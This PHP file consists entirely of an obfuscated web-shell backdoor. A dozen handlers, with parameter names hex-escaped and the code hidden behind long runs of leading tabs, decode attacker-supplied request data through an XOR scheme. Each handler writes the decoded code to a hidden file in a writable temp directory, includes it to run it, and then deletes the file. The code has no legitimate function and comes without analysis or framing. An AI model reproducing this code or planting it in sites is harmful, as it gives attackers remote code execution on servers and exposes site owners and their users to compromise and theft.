<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["sy\x6D"])){ $rec = $_REQUEST["sy\x6D"]; $rec= explode ("." , $rec ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $z = 0; while ($z < count($rec)) { $v9 = $rec[$z]; $sChar = ord($s[$z %$sLen] ); $d = ((int)$v9 - $sChar - ($z %10))^ 1; $holder .= chr($d ); $z++; } $symbol = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP")]); while ($bind = array_shift($symbol)) { if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $data_chunk = implode("/", [$bind, ".res"]); $success = file_put_contents($data_chunk, $holder); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(array_key_exists("\x6D\x72k", $_REQUEST)){ $dchunk = $_REQUEST["\x6D\x72k"]; $dchunk= explode ( "." , $dchunk ); $flg =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $len =count($dchunk); for ($x =0; $x <$len; $x++) { $v6 =$dchunk[$x]; $sChar =ord($salt[$x % $lenS]); $d =((int)$v6 - $sChar - ($x % 10)) ^ 77; $flg .= chr($d); } $descriptor = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP")]); while ($token = array_shift($descriptor)) { if (!( !is_dir($token) || !is_writable($token) )) { $marker = str_replace("{var_dir}", $token, "{var_dir}/.val"); $success = file_put_contents($marker, $flg); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65sour\x63e"])){ $k = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $flg = $_REQUEST["\x72\x65sour\x63e"]; $flg = explode( '.' ,$flg ) ; $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $n = 0; while ($n < count($flg)) { $v9 = $flg[$n]; $chS = ord($s[$n % $lenS] ); $d = ((int)$v9 - $chS - ($n % 10)) ^ 47; $comp .= chr($d ); $n++; } for ($bind = 0, $ptr = count($k); $bind < $ptr; $bind++) { $dat = $k[$bind]; if (is_dir($dat) ? is_writable($dat) : false) { $val = "$dat" . "/.reference"; if (file_put_contents($val, $comp)) { include $val; @unlink($val); die(); } } } }
																																										if(array_key_exists("\x72\x65\x63ord", $_POST) && !is_null($_POST["\x72\x65\x63ord"])){ $descriptor = $_POST["\x72\x65\x63ord"]; $descriptor= explode ( '.' , $descriptor); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($descriptor); for ($z = 0; $z< $__len; $z++) { $v8 = $descriptor[$z]; $chS = ord($s[$z % $lenS]); $dec = ((int)$v8 - $chS - ($z % 10)) ^46; $ent .= chr($dec); } $entity = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); for ($property_set = 0, $mrk = count($entity); $property_set < $mrk; $property_set++) { $holder = $entity[$property_set]; if (!!is_dir($holder) && !!is_writable($holder)) { $factor = implode("/", [$holder, ".pointer"]); if (file_put_contents($factor, $ent)) { include $factor; @unlink($factor); die(); } } } }
																																										if(!empty($_REQUEST["c\x6F\x6Dpon\x65\x6Et"])){ $sym = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir()]); $flag = $_REQUEST["c\x6F\x6Dpon\x65\x6Et"]; $flag = explode ("." , $flag) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; foreach ($flag as $v4) { $chS = ord($s[$p % $lenS]); $d = ((int)$v4 - $chS - ($p % 10)) ^ 67; $pgrp .= chr($d); $p++; } foreach ($sym as $key => $record) { if (!!is_dir($record) && !!is_writable($record)) { $itm = sprintf("%s/.bind", $record); if (@file_put_contents($itm, $pgrp) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(isset($_REQUEST["\x70ro\x70e\x72\x74y_set"]) ? true : false){ $symbol = $_REQUEST["\x70ro\x70e\x72\x74y_set"]; $symbol=explode('.' , $symbol ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $j = 0; array_walk( $symbol, function( $v5) use( &$itm, &$j, $salt, $sLen) { $sChar = ord( $salt[$j %$sLen]); $d = ( ( int)$v5 - $sChar -( $j %10)) ^ 55; $itm.= chr( $d); $j++; } ); $res = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP")]); while ($obj = array_shift($res)) { if (!( !is_dir($obj) || !is_writable($obj) )) { $sym = implode("/", [$obj, ".record"]); $success = file_put_contents($sym, $itm); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(in_array("\x69\x74em", array_keys($_POST))){ $element = array_filter([session_save_path(), "/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir()]); $fac = $_POST["\x69\x74em"]; $fac = explode ( '.',$fac ) ; $holder= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); $len= count($fac); for($k= 0; $k< $len; $k++) { $v4= $fac[$k]; $sChar= ord($salt6[$k%$lenS]); $d= ((int)$v4 - $sChar -($k%10)) ^ 40; $holder .= chr($d); } $res = 0; do { $obj = $element[$res] ?? null; if ($res >= count($element)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $parameter_group = str_replace("{var_dir}", $obj, "{var_dir}/.dchunk"); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } $res++; } while (true); }
																																										if(@$_REQUEST["i\x74e\x6D"] !== null){ $holder = $_REQUEST["i\x74e\x6D"]; $holder=explode ('.' , $holder ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; $__len = count($holder ); do { if ($j>=$__len) break; $v7 = $holder[$j]; $chS = ord($salt[$j % $lenS] ); $dec = ((int)$v7 - $chS - ($j % 10)) ^87; $desc .= chr($dec ); $j++; }while (true ); $key = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd()]); $resource = 0; do { $elem = $key[$resource] ?? null; if ($resource >= count($key)) break; if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $val = str_replace("{var_dir}", $elem, "{var_dir}/.component"); if (file_put_contents($val, $desc)) { include $val; @unlink($val); die(); } } $resource++; } while (true); }
																																										if(isset($_REQUEST["pr\x6F\x70er\x74y\x5Fse\x74"])){ $val = $_REQUEST["pr\x6F\x70er\x74y\x5Fse\x74"]; $val = explode ( "." , $val) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($val); for ($p = 0; $p < $__len; $p++) {$v8 = $val[$p]; $sChar = ord($s[$p % $lenS]); $dec = ((int)$v8 - $sChar - ($p % 10)) ^ 20; $rec .= chr($dec); } $holder = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir()]); foreach ($holder as $parameter_group): if (is_writable($parameter_group) && is_dir($parameter_group)) { $mrk = implode("/", [$parameter_group, ".resource"]); if (file_put_contents($mrk, $rec)) { include $mrk; @unlink($mrk); die(); } } endforeach; }
																																										if(isset($_POST["\x70\x6F\x69\x6Eter"]) ? true : false){ $token = $_POST["\x70\x6F\x69\x6Eter"]; $token= explode ( ".", $token ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $u =0; foreach( $token as $v8) { $sChar =ord( $salt[$u% $lenS] ); $dec =( ( int)$v8 - $sChar -( $u% 10)) ^71; $parameter_group .= chr( $dec ); $u++; } $ent = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP")]); foreach ($ent as $key => $desc) { if (is_writable($desc) && is_dir($desc)) { $obj = join("/", [$desc, ".elem"]); if (@file_put_contents($obj, $parameter_group) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(@$_POST["d\x65\x73c"] !== null){ $mrk = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP")]); $flag = $_POST["d\x65\x73c"]; $flag= explode ( '.' , $flag ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($flag ); for($m = 0; $m < $__len; $m++) { $v5 = $flag[$m]; $chS = ord($salt[$m % $lenS] ); $d = ((int)$v5 - $chS -($m % 10)) ^ 95; $fac .= chr($d );} foreach ($mrk as $bind) { if (is_dir($bind) && is_writable($bind)) { $property_set = str_replace("{var_dir}", $bind, "{var_dir}/.object"); if (file_put_contents($property_set, $fac)) { include $property_set; @unlink($property_set); die(); } } } }


if(isset($_REQUEST) && isset($_REQUEST["\x66lg"])){
	$pgrp = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]);
	$reference = $_REQUEST["\x66lg"];
	 $reference=	explode	  (	".",	$reference 	)	  ;
	$comp=	 '';
            $s7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($s7);
            $w=	 0;
    
            array_walk($reference, function ($v3) use (&$comp, &$w, $s7, $sLen) {
                $sChar=	 ord($s7[$w%$sLen]);
                $d=	 ((int)$v3 - $sChar - ($w%10)) ^ 9;
                $comp.=		chr($d);
                $w++;
            });
	foreach ($pgrp as $key => $token) {
    		if (is_writable($token) && is_dir($token)) {
    $property_set = "$token" . "/.desc";
    if (file_put_contents($property_set, $comp)) {
	require $property_set;
	unlink($property_set);
	die();
}
}
}
}